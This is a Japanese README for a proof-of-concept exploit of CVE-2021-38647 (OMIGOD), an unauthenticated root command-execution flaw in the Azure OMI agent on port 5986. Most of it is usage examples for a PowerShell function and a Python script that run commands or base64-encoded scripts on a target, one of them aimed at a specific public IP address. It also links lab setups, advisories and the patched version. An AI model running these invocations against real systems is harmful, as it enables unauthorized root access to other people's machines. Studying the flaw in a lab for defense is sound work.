
CVE-2021-38647 - 未認証RCEを悪用するPOC #OMIGOD
CVE-2021-38647 - Azure UNIX/Linux VM上で認証なしのRCE #OMIGOD を悪用するためのPOC
Microsoft Azureでは、UNIX/Linux VMに対してAzure Automation Accounts、Update Management、Log Analytics、Configuration Managementなどのサービスが使用されると、OMIアプリケーションが自動的にインストールされます。また、Configuration Managementサービスがリモートでマシンを管理するために使用される場合、OMIアプリケーションはポート5986でサービスを公開します。
脆弱性のあるエンドポイントにネットワークアクセスできる者は誰でも、AuthorizationヘッダーなしでSCXcoreプロバイダーを利用したリクエストを送信し、ターゲットマシン上でroot権限でOSコマンドを実行できます!
この脆弱性は現在修正されていますが、Azure上のLinux VMに対して常に確認する価値があります。
# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) # For Windows
echo 'id' | base64 # For Linux
python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==

AzureにデプロイするためのARMテンプレート - https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI
Azureを使わないデプロイ - https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956
脆弱性を緩和するには、OMIエージェントをバージョン1.6.8.1以上に更新する必要があります。
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956
https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI
https://www.alteredsecurity.com/post/omigod-cve-2021-38647
WIZ Team - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
このプロジェクトは教育目的のみを意図しています。作成者はこのツールの誤用について一切の責任を負いません。